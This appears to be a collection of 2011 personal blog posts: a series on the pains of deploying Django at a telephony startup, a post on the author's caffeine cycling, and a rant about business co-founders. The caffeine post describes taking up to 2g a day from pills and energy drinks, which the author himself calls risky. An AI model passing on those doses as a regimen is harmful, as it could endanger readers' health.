DevOps Django - Part 2 - The Pain of Deployment

r@rdegges.com (Randall Degges) — Mon, 12 Dec 2011 00:00:00 -0800

This article is part of a series I’m writing called DevOps Django. This series is meant to explain how to best deploy modern Django sites. If you’re new, you should probably read the first article of the series before this one.

What I Build

As I mentioned in the first article of the series, I work at a tech startup building telephony services. Our primary product is a hosted teleconferencing platform that hundreds of thousands of callers use each month. As all my experience with deployment has (primarily) come from building and maintaining this platform, I’d like to take this opportunity to explain what I actually build.

Our product is broken up in two primary components: a telephony layer that powers our core teleconferencing service, and a web layer that powers our API back end and user portal. Having two completely separate (and isolated) infrastructures means having to deal with multiple deployment patterns.

Our telephony infrastructure is built on top of:

Ubuntu server, a great Debian based operating system.
Asterisk, the open source PBX engine.
OpenSIPS, the open source SIP router.
Cisco hardware (for routing physical calls over multiple DS3 circuits).
NFSd, for storing large amounts of sound files.

The majority of our telephony code is written in Asterisk’s custom scripting language (dial plan). This language lets us completely control call behavior. With it, we can do things like:

Play sound files.
Record sounds.
Bridge multiple calls together.
Recognize touch tone input and perform other actions.

Here’s a small diagram which shows how our physical infrastructure is designed (excuse my poor diagrams, I’m awful with this stuff):

The way things work here is that callers (e.g. you) dial our phone number on your cell phone (or land line, whatever) and your call travels through the PSTN (public telephone network). Your call eventually arrives at our Cisco equipment, which converts the calls from hard line formats into VoIP, so that we can easily move the call around our network.

From there, your call is sent to our load balancer (OpenSIPS), which determines which Asterisk server should handle your call. At this point, your call is then sent to Asterisk, which does whatever needs to be done.

The NFS server is used to store user generated sound files. This way, our Asterisk servers can remain stateless (we can simply plug more Asterisk servers into our network at any time to increase capacity).

Where things get interesting is our web infrastructure. Our web stack provides lots of functionality to our systems, including:

The ability to manage conference rooms in real time. This includes stuff like muting callers, banning callers, changing caller nick names for easy identification, etc.
Centralized logging of all user metrics: which conference rooms they use, how often, what features they use the most.
Billing integration that allows us to track how many minutes are being used by each conference room.
Account management for users (and administrators).
An API that our telephony infrastructure uses to communicate with us.
Other cool features that I won’t get into.

Our web stack was built using the following technologies:

NOTE: I’m choosing to list the old technologies here as this article is focused primarily on my original problems deploying Django. While I’ve solved a majority of my problems, that will be discussed in a future part of this article series.

Python, our favorite programming language.
Django, our favorite web framework.
RabbitMQ, a useful queueing system.
Celery, a distributed task queue.
Memcached, a simple caching server.
FreeRADIUS, an annoying and stupid (but necessary) system for logging call metrics.
MySQL, an incredibly frustrating database server.
Git and GitHub, for version control.

And this is a list of our old infrastructure tools (most of these are gone now in our new environment):

Puppet, a centralized configuration management service. Essentially, it allows you to write scripts that automatically configure your servers in a modular fashion.
monit, application monitoring software we used for automatically fixing critical problems and sending alerts. It lets you do stuff like say “send me an alert if the CPU usage on this box goes above 50%”.
munin, a simple monitoring tool that generates useful graphs (network traffic, CPU usage, etc.).
nagios, a popular system monitoring tool.
HAProxy, the fast HTTP load balancer.
Nginx, our web server of choice for buffering HTTP requests locally to our WSGI server.
Gunicorn, a unicorn with a gun. OK, not really… It’s actually a pretty awesome pure Python WSGI server.
Jenkins, a simple continuous integration server for running tests and deploying code to production.
Rackspace, our server host.

These are the core technologies that we used to develop our web stack over the past two years (up until a few weeks ago).

I’ve taken the liberty of drawing this up in a small diagram (again, excuse my poor diagramming skills):

As you can probably imagine, we use Python and Django to build our website and back end API. These are the core technologies that power our web services. RabbitMQ holds our queued tasks, and Celery processes the queued tasks and executes them on worker servers asynchronously. Memcached is used to store data in memory for fast retrieval (stuff like lists of banned callers, etc.) and MySQL was used to store all of our persistent data.

FreeRADIUS is really in a league of its own, as we use it exclusively to track call metrics from our physical Cisco devices. Most high end Cisco equipment supports radius logging, so we have a FreeRADIUS instance running at all times to track our physical call metrics (which calls enter and leave our network before ever talking to our telephony servers), as this data is far more accurate than data that arrives via API calls (due to timing issues across the network).

In regards to our monitoring software (puppet, etc.) we used quite a mix. The reason being that no one piece covered all our basic requirements. For our services, we wanted to have the following:

Alerts when stuff goes down.
The ability to automatically fix weird issues (restart services that stopped, etc.).
Graphs to show CPU usage, memory usage, etc., so that (as a devops guy) you can scale your infrastructure as necessary, spot bottlenecks, etc.
The ability to automatically provision new servers. Manually provisioning servers is:
- A waste of time and energy.
- Error prone (what if you forget to do something?).
- Not scalable.
The ability to quickly and easily confirm things are working.

A lot of our core functionality comes from the integration between our telephony services (which are co-located at various data centers around the US), and our centralized cloud platform. Due to the dynamic nature of our architecture, our web platform is extremely important. If our web platform goes down, our users see a majority of their features vanish instantly, as we can’t log usage data, perform authentication checks against users, etc.

With both parts of our stack working together, we’re able to give our users a really great experience both through their phone and browser.

Why Deployment was Painful

As our product focuses on real time user communication, we have a lot of technical challenges. Our service needs to:

Provide fast interaction between our physical telephony infrastructure and cloud infrastructure.
Provide accurate logging information for billing.
Maintain high availability for our systems, as even a minute of downtime effects thousands of callers.
Rapidly push changes to our applications in production with no maintenance windows.

With our intense availability requirements, I’d say that (up until our recent infrastructure change), I was spending about 90% of my time working on either maintaining our infrastructure and tools, updating components, automating components, or scaling our components.

Given the fact that we have so many different technologies (a lot of them requiring their own servers and redundancy), complexity couldn’t be helped– even using modern tools like puppet, monit, nagios, etc.

If you’re into devops type stuff, you might be wondering what problems I had given my setup. After all, a majority of the technologies I was using are quite popular in high-tech circles. People look at you funny if you work at a tech company that doesn’t use puppet (or chef) and nagios. These tools have a reputation for making your life easier (as a developer), and supposedly let you focus more on coding than sysadmin tasks.

Despite the hype, building out your infrastructure and monitoring tools is hard. Really hard. If you want to do it right.

Firstly, let’s talk time. The time required to learn all of the infrastructure technologies we used was immense. As anyone who knows me can attest, I spend a ridiculous amount of time programming. Even with the insane hours I consistently pull hacking code, it took a long time before I was able to build quality puppet modules, monitoring scripts, and deployment tools.

Once we started heavily using our infrastructure tool set: puppet, nagios, monit, etc., I found that I’d spend at least 90% of my time throughout the workday either:

Writing new monitoring and deployment modules.
Fixing bugs in old monitoring and deployment modules.
Dealing with random one-off issues that occur because of slight differences in production environments.

Since my company is small, and engineering time is our most valuable resource, this was a real killer.

Secondly, hosting cost becomes an issue. When you require high availability for your services, you can’t run just one of anything. This led to a ton of overhead cost on Rackspace, as we had at least two of everything running constantly. Ouch. Not to mention the time it took to engineer the backups / restoration / monitoring tools so that they would actually be useful in the event that a service died.

For the longest time I always assumed building fail proof services would be easy. How wrong I was! Even the simplest of services, take RabbitMQ for instance, requires an immense amount of planning, thought, and maintained focus to build properly. In an environment where you rely on that RabbitMQ server being available 24x7 with as many nines of availability as possible, even the simplest of services can become an enormous pain.

Engineering failover that works is an art. A time consuming art.

Third, MySQL. ARG! Ever tried to automate MySQL deployments? I dare you to build a puppet module that can successfully spin up MySQL replication slaves on demand. It is so painful that I’d rather slap myself in the face with a porcupine than attempt that again.

NOTE: I tried endlessly to find (and build) a decent puppet-mysql module. I found numerous semi-maintained ones on GitHub, but never found a single working one. The one I ended up building myself (and using) was so tightly coupled to my specific deployment scenario that I actually still wake up in hot sweats on occasion just from thinking about it.

MySQL is annoying to manage in production.

Fourth, complexity. Having so many tools deployed just to keep things running is a real pain. Not only is it a time sink, expensive, and hard to maintain– it is complex.

Complexity gets you in subtle ways.

For me, complexity manifested itself in coupling issues. With such a large amount of scripts, tools, and services–making a change anywhere in the code base was likely to break some part of our deployment or monitoring tool set. This was especially annoying, as it diverted a lot of attention that could have been spent better elsewhere.

Painful Lessons

Since I first started building our teleconferencing service almost two full years ago, I’ve learned quite a bit about deploying Django. Before completely overhauling our service and porting everything to Django, I was relatively inexperienced with production deployments, having only built small passion projects.

What I learned through all of my experiences learning (and using) a variety of popular sysadmin and devops type tools is that nothing in the sysadmin (or devops) world is perfect. There are some great tools out there (puppet), but they’ve got a long way to go before they’re simple enough that a single devops guy can build out an entire production infrastructure solo.

By far the greatest hurdle I encountered over the past two years has been infrastructure. There is a huge time investment gap between building a basic infrastructure (installing Nginx, Gunicorn, celery, etc., on a single server), and automatically provisioning that same infrastructure (with puppet, etc.). In regards to the difficulty of actually writing code that can scale across a large infrastructure, the challenges have been much simpler to overcome. In fact, I’m happy to say that using Django has been an excellent choice for us.

Regardless of the difficulties I’ve had over the past two years in building out our infrastructure, and effectively deploying Django–it has been a great learning experience. I’ve learned more these past two years than at any previous point in my life.

But for me, what it really comes down to, is…

I’m a programmer at heart. I like coding and building new things. At the end of the day, it hurts me inside to spend a ton of time working really hard to maintain and scale your infrastructure, and then realize that through all your effort, you’ve only managed to fight off the chaos for another day. Bummer. I’d rather be hacking on new Django modules, or playing around with the latest asynchronous Javascript framework.

But that’s just me.

In the next part of the series, I’ll be discussing the first part of the deployment solution I discovered.

UPDATE: I finished part 3 of the series, you can read it here.

DevOps Django - Part 1 - Goals

r@rdegges.com (Randall Degges) — Mon, 05 Dec 2011 00:00:00 -0800

A little over a month ago I published an article describing the state of Django deployment. If you don’t want to read the back story, I’ll summarize it for you here: deploying Django is hard.

Surprisingly, my previous article drew quite a bit of attention from the Django community. I was fortunate enough to speak with some really brilliant people, and hear stories from lots of developers who had both good and bad experiences with deployment. However, the overwhelming majority of developers I spoke with all agreed: deploying Django is hard.

Now, a lot of the deployment problem (as I’ve come to refer to it) is not directly Django’s fault, but rather a side effect of working with so many technologies, services, and libraries. It is only natural that building complex and performant software require sufficient deployment and administration attention in order to work well.

After writing Deploying Django, I decided to embark on a personal quest to find, implement, and write about the best possible deployment strategies currently around. Since then, I’ve been extremely fortunate in that I’ve found what I consider to be the best possible deployment strategy for modern Django projects.

The goal of this article series is to tell my own tale of deploying Django: what my problems were, what solutions I’ve found, and what problems still exist–in hopes that my experiences will help guide other Djangonauts looking for a better way.

Deployment Goals

To kick start this article, I’d like to explain where I’m coming from: what I do, what I value, and what my deployment goals are–as these are all crucial to the story. Everyone has different needs, and there’s a good chance that your needs (and subsequently, goals) may be vastly different from mine.

I’m the lead developer at a small telecommunications startup in the USA. My company builds various telephony services, all of which are free for personal usage. For more than a year, I was the sole technical employee, responsible for:

Building our products.
Building our architecture.
Scaling our services.

NOTE: I’m still responsible for all of the above, but we’ve expanded a bit so I’m no longer alone =)

As we’re a small tech company, our primary concern is productivity. Our revenue is directly related to the amount of bugs we fix and features we add, so it is in our best interest to free up as much engineering time as possible so that we can focus on adding value to our users’ lives.

What this means for my company is that we greatly value devops work. Any pieces of our infrastructure that we can automate and scale through code are infinitely valuable to us, as they free up engineering time in the long run, giving us more time to make an impact in our product.

In an perfect world, as a developer, I should be able to:

Run a single command to deploy my application into production.
Run a single command to automatically scale up (or scale down) my application.
Instantly add services to my infrastructure that my application needs (memcached, Redis, PostgreSQL, etc.).
Have full access to logs and metrics for all parts of my infrastructure, so that I can find problems and fix them based on facts, not assumptions.

Furthermore, I want my application and all of its related infrastructure components to just work, and require NO maintenance. For instance, if I provision a Redis server, I want to know that it will always be up and available, and that I will never need to make changes to it again (other than scaling it up or down).

I think we can all agree that if the conditions above could be met with minimal work, life as a developer would be grand.

In the next part of this series, I’ll explain my company’s product technology in detail, highlighting the pain points of deployment.

UPDATE: I finished part 2 of the series, you can continue reading here.

Deploying Django

r@rdegges.com (Randall Degges) — Sun, 30 Oct 2011 00:00:00 -0700

Over the past two years, I’ve learned a hell of a lot about deploying Django apps into production. And yes, I really do mean a HELL of a lot. While Django is a great web framework, one of its primary weaknesses (in my opinion) is a lack of strong deployment documentation and community standards. There has been no easy way (until now, kinda) to deploy your apps into production in a reliable, simple fashion. Period.

Sure, there are excellent best practices that a few awesome programmers follow, but for the majority of users, the best practices are just too complex and time consuming to setup and administer for typical site.

Real World Deployment

Let’s pretend, for a moment, that you’re an intermediate Django programmer. You spend 8 hours a day working on a single project that is built purely in python / Django. Your primary main objective is to keep your users happy (fix bugs, release new features, etc.). You’re fairly familiar with the Django ecosystem: you know which apps to look at for solving various problems, and you know where to find information you don’t already know.

Let’s further assume that you’re also an all-around-geek, and manage your own Rackspace or Amazon servers which you use to host your Django app. You boot your fresh new Ubuntu cloud server, then install Apache and mod_wsgi to run your Django site. You then spin up a second server and install PostgreSQL, which your site uses as its primary data store.

You think you’re doing a good job–you wrote your app and got it online, spent time learning how to use your cloud provider’s APIs to boot up your new server, and you managed to install, configure, and administrate your app. Furthermore, you know where to look for problems: apache error logs, Django 500 and 404 emails, etc. In your mind, you’re awesome.

When you think about the amount of effort you put into your work, you feel highly accomplished. Not only did you do a good job getting everything running, but you also spent years learning all the technologies that power your site: HTML, CSS, Javascript, Python, Django, Linux, etc.

… BUT …

After three months of building your site, and 1 month of getting it running in production, you finally have real users. As a matter of fact, you’re getting about 20 hits per second. While this may be awesome for business, your web server’s load is 14, and your users’ HTTP requests start timing out.

Since your PostgreSQL server still has reasonable load, you decide to scale your site horizontally by spinning up a second web server, and splitting HTTP requests between the two. This way, you can serve twice as many users and keep your site running smoothly.

You spin up a new server, install Apache / mod_wsgi again, then copy your code over. After a few hours researching HTTP load balancing, you decide to use HAProxy to proxy your requests. A week later, you have HAProxy running on a new server, and can see HTTP requests hitting each web server.

Finally, your users can view your site again, whew. WRONG.

As your site has grown, you’ve noticed that several pages have started eating lots of CPU cycles. Upon further analysis, you see the problem: rendering the dashboard page requires about 30 time intensive SELECT queries on your PostgreSQL server. Damn. To make matters worse, you can tell that if you don’t get this fixed right away, the database server will be destroyed by the week’s end.

To avoid repeating the large SQL queries, you decide to cache the page data for an hour the first time a user visits the page. That way, repeat requests for that page will not generate repeat SQL queries, thereby taking load off the database. You provision a new server, and install memcached. Two days later, you’ve got a caching server working, and you’ve rewritten most of your Django views to utilized memcached.

Now you can finally get back to coding! WRONG.

Your pages are still loading slowly. You analyze your code base, and realize the new problem: once your cached page expires (at the end each hour), multiple users hit the page simultaneously, generating numerous time intensive SQL queries, effectively hammering your database server and causing HTTP timeouts. Back to the drawing board.

At this point, you’re frustrated with progress.

After a few days of research, you discover how to solve your caching problems: cache invalidation + distributed message queues. Essentially, each time a user adds new data to your site, you’ll:

Dump a small message onto the queue that says “do some processing, then update the cache”.
Your queue will get the message, and hold onto it.
Your worker processes will grab the oldest message from the queue, one at a time, and do what needs to be done (do processing, update the cache, etc.).

This way, your page cache is never stale, and you never run into the same traffic stampede issues that you previously had.

The only problem now is that setting up a distributed message queue is a lot of work. You need to setup a RabbitMQ, celerybeat, and one (or more) celeryd servers.

Two weeks and a lot of energy drinks later, you’ve got it all set up and working. You’ve rewritten most of your initial Django code to make good use of celery and memcached.

But… Then you realize the PostgreSQL server is dying. FUCK!

Even with all the fancy new scaling tools implemented, the database just can’t handle the constant load. Two weeks later you finish deploying multiple PostgreSQL read slaves, and configure your Django database routing rules to use the new PostgreSQL cluster effectively.

At this point, you’re dying to get back to programming. You’ve spent almost two months keeping your site running, but that’s it. You haven’t had time to work on bug fixes, or feature requests for your site. To top it all off, you’ve had to rapidly learn numerous new technologies just to keep things going, and you’re afraid that if anything fails, you’ll be completely screwed.

In order to maintain your sanity, you spend a few more days researching server management tools, and discover puppet. Then…

Oh my fucking GOD!

Yes, grasshopper! You now see it: you have only begun to discover the amount of work that lays ahead. You’ve barely scratched the surface as to the tools, methods, and skills necessary to manage and operate even the simplest of production sites. Your work is cut out for you.

The Truth

If I’ve learned anything in the past two years working with production Django deployments, it’s that deployment is fucking hard. Every real project I’ve put into production over the past few years has involved hundreds (if not thousands) of hours worth of infrastructure management. Even though I’d like to think that my overall sysadmin skills are slightly above that of your typical programmer, I still spend an inordinate amount of time working on infrastructure.

After speaking to loads of other programmers in the Django community, I realize it isn’t only me who has this problem, it’s everyone. While I don’t have any statistics to back this up, I’d estimate that typical Django programmers spends at least half their time working on infrastructure related tasks.

The Django community is at an interesting place right now.

We’re sitting on verge of an enormous technology breakthrough. There are currently sufficient tools, methods, and practices that allow Django developers to build simple, robust, and scalable applications. However, the community as a whole lacks direction and confidence in deployment.

What Django Needs

In order to fix the deployment problems in the Django community, several things need to happen. If community members realize the importance of this problem, it is more likely to get resolved quickly. By solving the deployment problem, Django can set an unprecedented standard for web development.

First and foremost, all of the Django hosting companies around (Heroku, Gondor, etc.) need to really step up their game. These companies are in the best position to fix the deployment problem. Their livelihood depends on making developer’s lives easier, and since they have developers giving them money, they’re in the best position to gather real world usage data from numerous Django developers, and build elegant deployment abstractions.

I’d personally like to see Heroku succeed as the dominant Django hosting provider. In my opinion, they are tackling the deployment problem the best way. Their model is simple: provide solid support for hosting your apps, and a large collection of add-ons that any developer can easily add and remove from their site in an instant. Their addons allow you (as a developer) to completely ignore 90% of typical infrastructure work, focusing purely on application code. Furthermore, since Heroku is running on Amazon’s cloud, it’s likely that their prices will drop over time as their user base continues to grow and Amazon’s infrastructure becomes a commodity.

Second, we need strong deployment leadership from Django’s core team. In my opinion, Jacob Kaplan-Moss is best posed to take on the role of deployment-BDFL. Jacob (one of the Django creators and core developers) is an outspoken devops advocate, frequently giving presentations on Django deployment and infrastructure best practices.

With a strong leader willing to tackle the deployment problem, the official deployment documentation needs to be heavily updated. Currently, the official documentation is woefully inadequate–covering only the most basic deployment patterns. In order for the Django community to continue to grow and succeed, the official deployment documentation needs to have a strong voice and opinion–it needs to say:

Here’s how to do caching right.
Here’s how to properly setup asynchronous tasks.
Here’s how to scale your database for certain usage patterns.
etc.

While this will surely upset a lot of people who believe in Python’s flexibility, Django needs to take an opinionated stance in regards to tools, patterns, and practices. Without a stance, the community will stay as it is: stuck in a confused state regarding deployment. If we (as a community) can agree to take a stance on deployment: decide what to do, and what not to do–it will revolutionize Django.

Third, the open source community needs to develop high-level abstractions for common patterns. There are currently excellent tools available to Django developers wanting to build production apps (celery, RabbitMQ, memcached, redis, etc.), but due to the complexity associated with setting them up and managing them, they are not used nearly as often as they should be.

Developers need tools to fully automate and manage various pieces of Django infrastructure. If it was as easy to deploy an auto-scaling distributed cache as it was to start a Django app on the command line, Django developers everywhere would be much happier.

I Have a Dream

In my dream, all Django developers (from the newest to the most experienced) can rapidly build their web apps, knowing that production deployment is at most 10 minutes away from completion.

Imagine a world where (as a developer) you can build an app, and have it running live in a best-practices, scalable, and sustainable way in no more than 10 minutes. The possible benefits are tremendous:

Production Django sites will typically be more reliable than their counterparts.
Django developers worldwide will have confidence in not only writing, but also deploying their applications to the world.
New developers will be greatly attracted to Django as a framework, due to its immensely simplified and powerful deployment options.
Django developers will be able to spend more time, each day, writing Python and Django code, instead of focusing their efforts on infrastructure management.

We’re at an awesome time in Django history.

Each of us has the ability to greatly effect the future of the framework we all love so much. We have the ability to influence the newest generation of sites that power the internet. We need to collectively decide to show our fellow developers the light, and remove the confusion that exists around deployment.

EDIT: Based on the feedback I received from this article, I decided to write a series on deploying Django. If you’re interested, you can read the first part here.

UPDATE: If you liked this post, you may want to check out my new book on Heroku, The Heroku Hacker’s Guide. It covers ideal ways to deploy your web applications on Heroku to reduce the pain.

My Use (and Abuse) of Caffeine

r@rdegges.com (Randall Degges) — Thu, 29 Sep 2011 00:00:00 -0700

Caffeine is an amazing drug. Interestingly, I’ve never actually written about my extensive use of caffeine before, although it is a large part of who I am. As all my friends can attest, I’m an enormous caffeine junkie. I’ve been told by numerous people (my wife included) that I need to lay off the caffeine and take it easy–or I’ll end up dead.

Growing up, I never drank much caffeine–except small amounts in soda. I could never stand the taste of coffee (although this is beginning to change–I still don’t see myself ever drinking coffee on a daily basis). My first real experience with caffeine was during my schooling at the University of California, Santa Cruz, which is where I tried my first energy drink. One of my roommates routinely drank these, and eventually I came around to trying them (they were awesome, by the way). After that, it was pretty much game over. Energy drinks tasted awesome, and made me feel amazing.

Actually, they still do.

Through years of experimentation, I’ve come to realize how much caffeine has changed me as a person.

My Normal (un-caffeinated) Self

The normal Randall is a pretty awful guy. He procrastinates, is easily distracted, and is typically negative by nature. When I’m not caffeinated, I feel like a completely different person.

The first thing I’ve noticed about my un-caffeinated self is that I tend to over think things, and not in a good way. I won’t go as far as saying I’m paranoid, but I over analyze even the smallest situations and make them into big issues. When I’m un-caffeinated, I tend to argue a lot more frequently with my wife about stupid things, like who replaced the trash and who did the dishes.

This over analysis also carries over into other parts of my life, including my work and health. When un-caffeinated, I tend to feel overly stressed out by the business of startup life, and let this stress bleed over into my exercise and eating habits, which rapidly degrade. The biggest problem with this is that I’ll focus all my energy, effort, stress and worry on a single item, and let all my other responsibilities, goals and commitments suffocate. It probably doesn’t help that I tend to be an obsessive person by nature, and have problems focusing on multiple things at a time. Without caffeine, this side of me seems to run amuck.

When un-caffeinated, I also feel overwhelmingly negative. Instead of looking at life in a positive, enthusiastic way–I tend to view even the most fun experiences as chores (horrible, I know). Although I really do love writing code on my free time, when I’m not on caffeine I have an extremely hard time making myself do it, even though I want to, as it just seems like a pointless chore. This isn’t always the case–but overall, I tend to be far more negative when I’m un-caffeinated.

The Better (caffeinated) Me

When I’m on caffeine–I feel amazing. I’ve never done any hard drugs before, but I can’t imagine that they’d make me feel any better than caffeine does. When I’m on caffeine, I feel like a monster. I feel powerful, calm, smart, enthusiastic, energetic, positive, and unconquerable. Nothing can get me down.

The most obvious effect caffeine has on me is my mental state. Within 20 minutes of taking 100+ mg of caffeine, I begin to feel calm (this is the opposite effect that most people tend to have, or so I’ve been told). It is a good sort of calm–a samurai calm, if you will. I feel as if I have the power to do what I want to do, whenever I please. I feel confident, insightful, and peaceful.

After the calm sets in, I notice that my thoughts become clearer and more precise. Instead of feeling pulled in numerous directions by things I want (and need) to do: work, exercise, eat, work on projects, etc.–I feel an overwhelming sense of self-direction. I’m able to pick what is most important to me at the moment, and put all my effort and focus into this task, which gives me an amazing sense of self of fulfilment. The greatest part about this clarity in my mind is that it puts me into “the zone”, and after finishing one thing, my momentum builds, and the snowball effect takes over.

The physical effects caffeine has on me are also amazing. When caffeinated, I have unlimited physical energy. In fact, of all my workouts in the past few years, the best ones were done in a caffeinated state. When I workout with caffeine, I’m able to push myself much harder and for longer periods of time than I can otherwise.

Caffeine also keeps me satiated. The more caffeine I take, the less hungry I feel–and this feeling lasts for hours at a time. 200mg of caffeine and I won’t be hungry (at all) for ~4 hours. This has been particularly useful to me as it helps me avoid consuming unnecessary calories throughout the day in the form of snacks.

Lastly, being caffeinated makes me feel happy. I truly feel like I’m the person I was “meant to be” when I’m taking caffeine. As awful as this sounds, I really feel like I’m at my best, and my happiest, when I’m caffeinated. I’m able to enjoy each moment of life as I pass through it, which puts me at peace internally.

The (dirty) Details of My Caffeine Usage

It is actually rather hard for me to write about this, as I can’t help but feel somewhat embarrassed at my caffeine usage–but here it goes anyway.

NOTE: Don’t do what I do. It’s probably extremely risky and unhealthy, and I know that I need to change my habits significantly.

I cycle caffeine. I’ve read tons of articles on the drug, and realize that my cycling isn’t as effective as it could be (in large part because I don’t go off it long enough to really flush it completely out of my system), but it has been effective for me. Keep in mind that the amounts of caffeine listed below are less effective at higher weights. I’m a fairly big guy (~220lbs), so these amounts would likely be really dangerous for someone smaller.

My general cycle is three weeks on caffeine, one week off. After years of messing around with caffeine in various quantities and cycles, this has been the most effective for me. By effective I mean that it allows me to feel good for the maximum amount of time, without having the burnout that comes with too much caffeine usage over a sustained period of time (I’ll get into that later).

In any given month, I’ll typically go the first week of the month un-caffeinated. Considering the amounts of caffeine I take the rest of the month, and the amount of time required to fully flush caffeine from one’s system, the week that I do spend un-caffeinated is actually still pretty good for me. The remaining caffeine in my system keeps me feeling pretty good through the week, even though I’m not taking it. This week is especially important in the cycle because without it, I’ll begin feeling groggy, and burnt-out. I’ve found that one week is just enough time to let my body catch up with me, and it allows me to get the most consistent effect from caffeine over long periods of time.

The other three weeks of the month are variable. I’ll take anywhere from 100mg to 2g (max) of caffeine per day, fluctuating its usage as necessary. I try to gradually increase my usage–for example: week 2 (of a month) I’ll take between 100mg and 400mg of caffeine. Week 3 I’ll take between 400mg and 600mg. Week 4 I’ll take anywhere from 100mg to 2g.

NOTE: Days when I take more than 1g of caffeine are always followed by days with very low dosages of caffeine–100mg or 200mg, as I’m afraid I’ll overdo it.

In regards to the types of caffeine I take–I only take it in one of two ways:

NoDoz caffeine pills (each pill is 100mg of pure caffeine), or
Zero Carb Rockstar Energy Drinks (they taste like fruit punch, have only 10 calories, and 240mg of caffeine per can).

The NoDoz pills are great because they’re pure caffeine–no other stuff mixed in, so you know that you’re doing it is as pure a way as possible. The Zero Carb Rockstars are great because they have great flavor, almost no calories, no carbs (no sugar), and are nice to sip on while you’re working. The Rockstars allow you to spread your caffeine intake out a bit more, instead of ingesting it all at once.

How I Feel When I Overdo It

There have been a few times when I’ve overdone it on the caffeine. When this happens, I’ll feel it the following morning when I wake up. The feeling is awful. I feel dehydrated, groggy, sick, and slow. The only thing that helps is to sit down in a quiet, dark place, and drink lots of water.

This has happened only a few times, but each time has been a horrible experience.

What led me to originally cycle my caffeine usage was that after 3 weeks of taking caffeine, I would begin to feel groggy, sick and dehydrated every morning. It wouldn’t be as severe as it was when I knew I took to much in a single day–but it would be enough to negatively effect me. The week off of caffeine at the beginning of each month allows me to reap the benefits of extended caffeine usage everyday, without any bad days.

My Behavior

I realize that I need to bring my caffeine usage down a lot. While I don’t consider caffeine to be bad in any way, I do realize that taking it in high doses, frequently, can lead to lots of bad health effects.

For the sake of myself, my wife, and my dog, I’ve specifically begun reducing my caffeine usage during my 3 week cycle. I’m currently try to take no more than 500mg per day, maximum–which is a far leap from my prior usage. So far, my reduced caffeine usage has been going pretty well. I still feel awesome, so I’ll continue to keep it up.

I hope that one day, both my normal (un-caffeinated) and caffeinated self can be the same person. I’ve got a lot of work to do.

On Business Guys

r@rdegges.com (Randall Degges) — Sun, 18 Sep 2011 00:00:00 -0700

Disclaimer: This post is going to be a bit different than my usual. Instead of discussing technical or philosophical stuff, I’m going to be doing a bit of ranting.

Before I go any further, I’d like to clear up any misunderstandings: I’m a tech guy. I’m currently the lead programmer at a small technical startup in the telephony industry. I’ve always had technical jobs, and most of my friends are engineers. I have met and known quite a few business and marketing guys in my life, and feel like my opinion as a tech guy is validated by my personal experiences. Furthermore: I’m not saying I’m right–I’m simply arguing my point of view. Feel free to disagree with me!

Why Now?

As most of you know, I’m a pretty big fan of Hacker News. I’ve been extremely interested in the startup and tech community for many years, and the topics discussed there typically hit close to heart. One of my lifelong dreams is to build a successful technical empire, and as I feel I’m finally approaching a level of development in my life that will allow me to start building this empire, I’ve been paying closer and closer attention to relevant discussions online. It seems as if every week the same few questions come up in one form or another online:

Hi guys! I’m a business guy, and I’d like to know how to find a technical co-founder for my company. I’ve got some great ideas, and I’m awesome at selling things, but I’m having lots of trouble meeting technical people who will give me the time of day. What do I need to do?

Or…

Hi guys! I’m an engineer. Why do business guys continuously approach me with their ideas, and expect me to spend all my free time building a product for them for no pay?

Or my favorite…

Hi guys! I’m an engineer working on a startup in my free time with another dude who is handling the business side of things. I’ve been writing code for months now, and the product is beginning to look decent, but I feel like my partner isn’t putting in a fair amount of work. He’s been telling me that he’s been “working” on getting customers, but I see nothing being done that I couldn’t automate with a shell script. What do I do?

There have been some awesome discussions online surrounding these questions / situations, with very heated debates on both sides of the table. Since I see the same patterns emerge over and over again, I figured now is as good a time as any to throw my thoughts out there into the mix, so here it goes.

Technical Guys are Fucking SMART

The kind of techies who work at startups, read Hacker News, and build side projects on their free time are SMART. The amount of passion, dedication, discipline, and time required to master technologies is astounding. Building software today requires immense knowledge spread across numerous domains. Even building the “simplest” of web services requires a wide array of technical skills, that are the result of years worth of studying and practice.

The type of technical guys who can build entire products and companies in just a few months (or less!) are the type of people who are extremely dedicated to their craft, and are among the top tiers of professional development. As someone who frequents Hacker News, I find it is often the case that non-technical people assume the sort of technical people described above are abundant. This is simply not true. In small, niche communities like Hacker News, it seems this way only because the overall quality of members and users is extremely high in comparison to that of the “real world”, and thus gives the impression that “most” engineers are amazing.

Furthermore, these awesome software developers aren’t just good at technical stuff–they’re good at everything. The type of person who is continuously learning, questioning, and creating things of value has extremely useful, deeply ingrained character traits:

They have a desire to understand why and how things work.
They have a desire to solve problems in an elegant manner.
They have and exercise critical thinking skills in all aspects of life.
They think logically.
They realize what limitations they have, and know how to work around them.
They know how to create things.
They know where and how to get information they don’t already have.

These traits are, in and of themselves, possibly the most useful skills of all. People who exhibit those qualities are practically unstoppable. They’re able to identify problems and build solutions to those problems in an elegant manner.

What I’m trying to get at here is this: if these developers are so smart, what is stopping them from simply learning how to incorporate a company, advertise online, and sell stuff? The answer is: “nothing”. These people are more than capable of learning the necessary skills to build successful companies completely solo. In comparison to learning the vast amounts of technical knowledge they’ve already acquired–learning business and marketing concepts are astoundingly simple in comparison.

Business Guys… Not So Much

As a non-technical business guy, your knowledge is at best extremely limited. You’re at a severe disadvantage:

Engineers can easily learn what you know.
Good engineers have character traits that make them likely to succeed at a myriad of activities, including business.
Engineers understand how things work. Instead of making assumptions about problems, engineers know about problems, why they exist, and how to solve them.
Engineers know the best way to find and build solutions to problems.
Engineers are more creative: their understanding of how and why things work gives them a large pool of creative ideas which would not be available to non-technical folk.

Regardless of whether you exhibit useful character traits, you are lacking the necessary skills to build solutions to your problems. This means that you are essentially replaceable by technology.

No Incentive

What it comes down to is that technical guys really don’t have any incentives to work with business guys. Let’s say that in a best-case scenario, a business guy:

Is passionate about the problem.
Wants to help customers solve this problem by selling them your solution.
Has a proven track record for selling to customers in this industry.
Is in contact with a large amount of customers who are willing to give feedback on your potential solution.
Knows how to advertise this solution.

Ignoring the fact that this is a best-case scenario, the business guy is still not needed by the engineer. Why?

The engineer must also be passionate about this problem in order to devote time (without pay) to working on it.
The engineer knows how to find customers to get feedback from. He knows that he can do an hour or two of research and collect this information.
The engineer is able to adapt his solution to the customers problem without a middleman. This leads to faster development, more precise solutions, and happier customers.
The engineer can easily advertise his solution in a pragmatic fashion using tech tools to do so: A/B testing, online marketing, buisness analytics tools and programs, etc.

Furthermore, the deal is not appealing to the engineer because the amount of work he has to put into developing the actual solution far outweighs the amount of time that is needed to do equal amounts of marketing and sales by the business guy.

